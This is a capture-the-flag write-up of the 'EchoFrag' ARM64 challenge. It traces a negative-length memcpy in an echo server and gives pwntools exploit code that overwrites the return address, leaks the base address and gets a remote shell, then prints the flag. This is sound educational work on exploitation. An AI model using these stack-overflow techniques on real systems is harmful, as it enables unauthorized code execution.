EchoFrag

Description

I made a echo server to practice network fragmentation! Could you test that implementation of fragmentation was working correctly?

echofrag.sstf.site:31513

Attachment: EchoFrag xpl.py

Team: Super Guesser

EchoFrag was an arm binary, that reads an input package, and depending on the type, it will either just echo the input back or store it into an echo buffer, which it will echo back when it’s full.

The package we have to send looks like

struct Buffer {
    unsigned char Type;
    unsigned short Size;
    char Data[512]
}
void handle_server()
{
    signed int cur_echo_off;
    unsigned int read_len;
    signed int echo_off;
    signed int echo_size;

    Buffer echo_buffer;
    Buffer input_buffer;

    memset(&echo_buffer, 0, 0x203);

    cur_echo_off = 3;

    while (true)
    {
        // Read package
        read_len = read(0, &input_buffer, 0x203);

        // Read package len must be >= 3
        if ((int)read_len <= 0)
            return -1;

        if (read_len <= 2)
            return -2;

        // Type 1: Unbuffered echo
        if (input_buffer.Type == 1)
        {
            if (input_buffer.Size + 3 > 0x203)
                return -3;

            // If buffer size is smaller than read bytes, echo it back
            if (input_buffer.Size + 3 <= read_len)
                do_write(&input_buffer);

            // Copy input buffer over echo_buffer (This will overwrite the size of echo_buffer!)
            memcpy(&echo_buffer, &input_buffer, (int)read_len);

            cur_echo_off = read_len;
        }
        // Type 2: Buffered echo
        else
        {
            // Find current offset in echo buffer to write to
            echo_off = cur_echo_off + read_len - 3; 
            echo_size = echo_buffer.size;           

            if (echo_off > echo_buffer.size)
            {
                read_len = echo_buffer.size - cur_echo_off;
                echo_off = echo_buffer.size;
            }

            // Copy data from input_buffer into echo_buffer
            memcpy(&echo_buffer.field_0 + cur_echo_off, input_buffer.Data, (int)(read_len - 3));
            
            cur_echo_off = echo_off;

            // If current offset in echo buffer is bigger than echo buffer size, echo it back
            if (echo_off >= echo_size)
            {
                cur_echo_off = 3;
                do_write(&echo_buffer);
            }
        }
    }
}

void do_write(Buffer *a1)
{
  write(1, a1->Data, a1->Size - 3);
}

Some things to note here

  • When sending a package with type 1, the input package will be copied into echo_buffer (effectively overwriting its size with the one from the input package)
  • When sending a package with type 2, only the data from the input package will be copied at the current offset (cur_echo_off) in the echo_buffer and increase the offset by the data size.
  • When the offset would exceed the limit of the echo buffer, read_len will be limited to the remaining space in the buffer, so that it cannot be overflown.
  • When the current offset equals the size of the echo buffer, it will be printed back.

Let’s see how this looks on the stack

0x5501812890:	0x0000005500000c58	0x0000005501812af0
0x55018128a0:	0x0000005501812920	0x000000fd018148a4
0x55018128b0:	0x0000005501812d00	0x0000005500000c48 <= X / Return address 
0x55018128c0:	0x0000005501843a18	0x0000000301812e50
0x55018128d0:	0x0000005500000103	0x0000005500000000 <= X / cur_echo_off / read_len / echo_off
0x55018128e0:	0x0000010300000000	0x4141414141010001 <= echo_size (32bit) / Echo Buffer Start (Type/Size/Data)
0x55018128f0:	0x4141414141414141	0x4141414141414141
0x5501812900:	0x4141414141414141	0x4141414141414141
0x5501812910:	0x4141414141414141	0x4141414141414141
0x5501812920:	0x4141414141414141	0x4141414141414141
0x5501812930:	0x4141414141414141	0x4141414141414141
0x5501812940:	0x4141414141414141	0x4141414141414141
0x5501812950:	0x4141414141414141	0x4141414141414141
0x5501812960:	0x4141414141414141	0x4141414141414141
0x5501812970:	0x4141414141414141	0x4141414141414141
0x5501812980:	0x4141414141414141	0x4141414141414141
0x5501812990:	0x4141414141414141	0x4141414141414141
0x55018129a0:	0x4141414141414141	0x4141414141414141
0x55018129b0:	0x4141414141414141	0x4141414141414141
0x55018129c0:	0x4141414141414141	0x4141414141414141
0x55018129d0:	0x4141414141414141	0x4141414141414141
0x55018129e0:	0x4141414141414141	0x0000000000414141
0x55018129f0:	0x0000000000000000	0x0000000000000000
0x5501812a00:	0x0000000000000000	0x0000000000000000
0x5501812a10:	0x0000000000000000	0x0000000000000000
0x5501812a20:	0x0000000000000000	0x0000000000000000
0x5501812a30:	0x0000000000000000	0x0000000000000000
0x5501812a40:	0x0000000000000000	0x0000000000000000
0x5501812a50:	0x0000000000000000	0x0000000000000000
0x5501812a60:	0x0000000000000000	0x0000000000000000
0x5501812a70:	0x0000000000000000	0x0000000000000000
0x5501812a80:	0x0000000000000000	0x0000000000000000
0x5501812a90:	0x0000000000000000	0x0000000000000000
0x5501812aa0:	0x0000000000000000	0x0000000000000000
0x5501812ab0:	0x0000000000000000	0x0000000000000000
0x5501812ac0:	0x0000000000000000	0x0000000000000000
0x5501812ad0:	0x0000000000000000	0x0000000000000000
0x5501812ae0:	0x0000000000000000	0x0000000000000000
0x5501812af0:	0x4141414141010001	0x4141414141414141 <= Input buffer start
0x5501812b00:	0x4141414141414141	0x4141414141414141
0x5501812b10:	0x4141414141414141	0x4141414141414141
0x5501812b20:	0x4141414141414141	0x4141414141414141
0x5501812b30:	0x4141414141414141	0x4141414141414141
0x5501812b40:	0x4141414141414141	0x4141414141414141
0x5501812b50:	0x4141414141414141	0x4141414141414141
0x5501812b60:	0x4141414141414141	0x4141414141414141
0x5501812b70:	0x4141414141414141	0x4141414141414141
0x5501812b80:	0x4141414141414141	0x4141414141414141
0x5501812b90:	0x4141414141414141	0x4141414141414141

So from a first glance, it seems, that we cannot write data outside of those two buffers. But while playing around with some test data and lengths, the binary suddenly crashed in the memcpy into the echo_buffer.

This arised, because I didn’t send a package type 1, which would have initialized the size of echo_buffer (which is in the beginning just 0).

echo_off = cur_echo_off + read_len - 3;           // echo_off = 3 + read bytes -3 = read_bytes
echo_size = echo_buffer.size;                     // echo_size = 0

if (echo_off > echo_buffer.size)                  // will always be true for zero size buffer
{
    read_len = echo_buffer.size - cur_echo_off;   // read_len = 0 - last read byte count (will be negative)
    echo_off = echo_buffer.size                   // echo_off = 0
}

// Copy data from input_buffer into echo_buffer
memcpy(&echo_buffer.field_0 + cur_echo_off, input_buffer.Data, (int)(read_len - 3));
            
// Store echo_off back into cur_echo_off
cur_echo_off = echo_off;

Since the now negative read_len is casted to int, memcpy will be called with a size of -6

───────────────────────────────────────────────────────────────────────────────────── registers ────
$x0  : 0x00000055018128eb  →  0x0000000000000000  →  0x0000000000000000
$x1  : 0x0000005501812af3  →  0x0000004242424242  →  0x0000004242424242
$x2  : 0xfffffffffffffffa  →  0xfffffffffffffffa
$x3  : 0x00000055018128eb  →  0x0000000000000000  →  0x0000000000000000
$x4  : 0x0000005501812af3  →  0x0000004242424242  →  0x0000004242424242
....
$sp  : 0x00000055018128b0  →  0x0000005501812d00  →  0x0000005501812d10  →  0x0000000000000000  →  0x0000000000000000
$pc  : 0x0000005500000bc4  →  0xb94027a097ffff17  →  0xb94027a097ffff17
$cpsr: [negative zero CARRY overflow interrupt fast]
$fpsr: 0x0000000000000000  →  0x0000000000000000
$fpcr: 0x0000000000000000  →  0x0000000000000000
──────────────────────────────────────────────────────────────────────────────── code:arm64:ARM ────
   0x5500000bb8                  mov    x2,  x0
   0x5500000bbc                  mov    x1,  x4
   0x5500000bc0                  mov    x0,  x3
 → 0x5500000bc4                  bl     0x5500000820 <memcpy@plt>
   ↳  0x5500000820 <memcpy@plt+0>   adrp   x16,  0x5500010000
      0x5500000824 <memcpy@plt+4>   ldr    x17,  [x16,  #3920]
      0x5500000828 <memcpy@plt+8>   add    x16,  x16,  #0xf50
      0x550000082c <memcpy@plt+12>  br     x17
      0x5500000830 <setbuf@plt+0>   adrp   x16,  0x5500010000
      0x5500000834 <setbuf@plt+4>   ldr    x17,  [x16,  #3928]
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00000055018128b0│+0x0000: 0x0000005501812d00  →  0x0000005501812d10  →  0x0000000000000000  →  0x0000000000000000	 ← $x29, $sp
0x00000055018128b8│+0x0008: 0x0000005500000c48  →  0xa8c17bfd52800000  →  0xa8c17bfd52800000
0x00000055018128c0│+0x0010: 0x0000005501843a18  →  0x0000005501813000  →  0x00010102464c457f  →  0x00010102464c457f
0x00000055018128c8│+0x0018: 0x0000000301812e50  →  0x0000000301812e50
0x00000055018128d0│+0x0020: 0x00000000fffffffd  →  0x00000000fffffffd
0x00000055018128d8│+0x0028: 0x0000000300000000  →  0x0000000300000000
─────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
memcpy@plt (
   $x0 = 0x00000055018128eb → 0x0000000000000000 → 0x0000000000000000,
   $x1 = 0x0000005501812af3 → 0x0000004242424242 → 0x0000004242424242,
   $x2 = 0xfffffffffffffffa → 0xfffffffffffffffa
)

This should copy our input_buffer (0x0000005501812af3) into the echo_buffer (0x00000055018128eb). Let’s check the memory around the echo_buffer before memcpy is executed.

gef➤  x/30gx 0x00000055018128eb-0x4b
0x55018128a0:	0x0000005501812920	0x00000055018148a4
0x55018128b0:	0x0000005501812d00	0x0000005500000c48 <= X / return address
0x55018128c0:	0x0000005501843a18	0x0000000301812e50
0x55018128d0:	0x00000000fffffffd	0x0000000300000000
0x55018128e0:	0x0000000000000000	0x0000000000000000 <= echo_size (32bit) / Echo Buffer Start (Type/Size/Data)
0x55018128f0:	0x0000000000000000	0x0000000000000000
0x5501812900:	0x0000000000000000	0x0000000000000000
0x5501812910:	0x0000000000000000	0x0000000000000000
0x5501812920:	0x0000000000000000	0x0000000000000000
0x5501812930:	0x0000000000000000	0x0000000000000000
0x5501812940:	0x0000000000000000	0x0000000000000000

And now, after the memcpy with its huge (negative) size was executed.

gef➤  x/30gx 0x00000055018128eb-0x4b
0x55018128a0:	0x0000005501812920	0x0000000000000000
0x55018128b0:	0x0000000000000000	0x0000000000000000 <= X / return address
0x55018128c0:	0x0000000000000000	0x0000000000000000
0x55018128d0:	0x0000000000000000	0x0000000000000000
0x55018128e0:	0x0000000000000000	0x4242424242000000 <= echo_size (32bit) / Echo Buffer Start (Type/Size/Data)
0x55018128f0:	0x0000000000000000	0x0000000000000000
0x5501812900:	0x0000000000000000	0x0000005501842ed0
0x5501812910:	0x0000000000000000	0x0000000000000000
0x5501812920:	0x0000000000000000	0x0000000000000000
0x5501812930:	0x0000000000000000	0x0000000000000000
0x5501812940:	0x0000000000000000	0x0000000000000000

Uh oh, it seems memcpy has kinda overflown its offset while copying the data and also overwritten the data before the echo_buffer overwriting our state stack variables and even the return address of the function itself.

Let’s see, if we can control that overflown data.

# prepare payload
payload = cyclic_metasploit(0x200-8)

# prepare size of echo_buffer to do a valid copy
pkg1(len(payload)+8, "")
	
# copy payload into echo_buffer (with valid size)
pkg2(0, payload)

# overwrite echo buffer size with 0
pkg1(0, "")

# trigger negative memcpy
pkg2(0, "")

This will first do a valid copy into echo buffer with our payload, then overwrite the size of the echo buffer with 0 and trigger the negative memcpy.

gef➤  x/30gx 0x00000055018128eb-0x4b
0x55018128a0:	0x3070415501812920	0x7041327041317041
0x55018128b0:	0x4135704134704133	0x3870413770413670 <= X / return address
0x55018128c0:	0x7141307141397041	0x4133714132714131
0x55018128d0:	0x3671413571413471	0x0000000000377141
0x55018128e0:	0x0000000000000000	0x6141306141000001 <= echo_size (32bit) / Echo Buffer Start (Type/Size/Data)
0x55018128f0:	0x4133614132614131	0x3661413561413461
0x5501812900:	0x6141386141376141	0x4131624130624139
0x5501812910:	0x3462413362413262	0x6241366241356241
0x5501812920:	0x4139624138624137	0x3263413163413063
0x5501812930:	0x6341346341336341	0x4137634136634135
0x5501812940:	0x3064413963413863	0x6441326441316441
0x5501812950:	0x4135644134644133	0x3864413764413664
0x5501812960:	0x6541306541396441	0x4133654132654131
0x5501812970:	0x3665413565413465	0x6541386541376541
0x5501812980:	0x4131664130664139	0x3466413366413266

Ok, so we can overwrite the return address with our input. At this point, this could have been finished already, since the addresses in the binary will always be fixed…

But I was kinda tired at that point and just wrote a payload, which gave me a local shell, but didn’t work remote…

# prepare payload
payload = "A"*469
payload += p64(0x5500000A28)
	
# prepare size of echo_buffer to do a valid copy
pkg1(len(payload)+8, "")
	
# copy payload into echo_buffer (with valid size)
pkg2(0, payload)
	
# overwrite echo buffer size with 0
pkg1(0, "")

pkg2(0, "")
	
print("Enter to trigger shell")
$ python writeup.py 
[+] Starting local process '/usr/bin/qemu-aarch64': pid 17329
[17329]
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ 
[*] Interrupted
[*] Switching to interactive mode
$ 
[*] Interrupted
[*] Switching to interactive mode
$ 
[*] Interrupted
[*] Switching to interactive mode
$ 
[*] Interrupted
Enter to trigger shell
[*] Switching to interactive mode
$ 
$ ls
EchoFrag
xpl.py
$

Yep, shell working, let’s just grab the flag… But the exploit crashed remote all the time…

Spoiler: I used 0x5500000000 as base address, which it is in my local qemu env, but remote the base address was 0x4000000000 (but also static).

At that point, I made a dreadful decision:

$ checksec ./EchoFrag
[*] '/home/kileak/ctf/ssf/echofrag/EchoFrag'
    Arch:     aarch64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Ah, sure, PIE enabled, I have to leak an address and calculate the base address…

Getting a leak took a lot more time, than the complete exploit itself, though :(

I’ll not get too much into detail, on how the memcpys will do this, but the idea is to overwrite echo_buffer.size with a very big value and trigger the echo, so that it will just print out everything also behind input_buffer where some pie addresses were stored.

# leak		
payload = "A"*489
payload += p32(0xffffffff-0x10)	
payload += "C"*(0x200-len(payload))

# overwrite echo buffer size	
pkg1(len(payload), "A"*4)

# copy payload into echo buffer
pkg2(0, payload)

# reset echo buffer size to 0
pkg1(0, "A"*4)

# trigger negative memcpy overwriting buffer state variables
pkg2(0, "XXXX")			

# trigger negative memcpy again to overwrite current offset of echo buffer
payload = "\x00" + p32(0x10101010) + p32(0x20202020)
payload += p64(0x30)

pkg2(0, payload)		

# trigger negative memcpy again to overwrite echo buffer size with 0x600 and trigger echo
payload = "A"+p16(0x600)+cyclic_metasploit(0x40)
pkg2(0, payload, False)	
	
# read echo buffer[0:0x600]
LEAK = r.recv(0x5f0)
	
# get PIE from leaked data
PIE = u64(LEAK[0x445:0x445+8])
BASE = PIE - 0x8e0
	
log.info("PIE    : %s" % hex(PIE))
log.info("BASE   : %s" % hex(BASE))

This took way longer than expected, but with this finally armed, I wanted to see how the remote addresses looked like.

[+] Opening connection to echofrag.sstf.site on port 31513: Done
[*] Switching to interactive mode
$ 
[*] Interrupted
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���\xffCCCCCCCCC\x00\x00
[*] Interrupted
[*] Switching to interactive mode
$ 
[*] Interrupted
[*] Switching to interactive mode
$ 
[*] Interrupted
[*] Switching to interactive mode
$ 
[*] Interrupted
[*] PIE    : 0x40000008e0
[*] BASE   : 0x4000000000
[*] Switching to interactive mode
\x00\x00\x00/\x81\x00\x00\x00$

Ok, that address was obviously not randomized and it struck me that the past hours were just wasted, but well…

Let it go, just attach the previous exploit to it and:

[+] Opening connection to echofrag.sstf.site on port 31513: Done
[*] Switching to interactive mode
$ 
[*] Interrupted
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���\xffCCCCCCCCC\x00\x00
[*] Interrupted
[*] Switching to interactive mode
$ 
[*] Interrupted
[*] Switching to interactive mode
$ 
[*] Interrupted
[*] Switching to interactive mode
$ 
[*] Interrupted
[*] PIE    : 0x40000008e0
[*] BASE   : 0x4000000000
[*] Switching to interactive mode
\x00\x00\x00/\x81\x00\x00\x00$ 
[*] Interrupted
[*] Switching to interactive mode
$ 
[*] Interrupted
[*] Switching to interactive mode
$ 
[*] Interrupted
[*] Switching to interactive mode
$ 
[*] Interrupted
[*] Switching to interactive mode
$ 
[*] Interrupted
Enter to trigger shell
[*] Switching to interactive mode
$ 
$ id
uid=1000(prob) gid=1000(prob) groups=1000(prob)
$ ls
EchoFrag
FLAG
$ cat FLAG
SCTF{What_a_Beauty_0F_MEmCpY!!}
[*] Got EOF while reading in interactive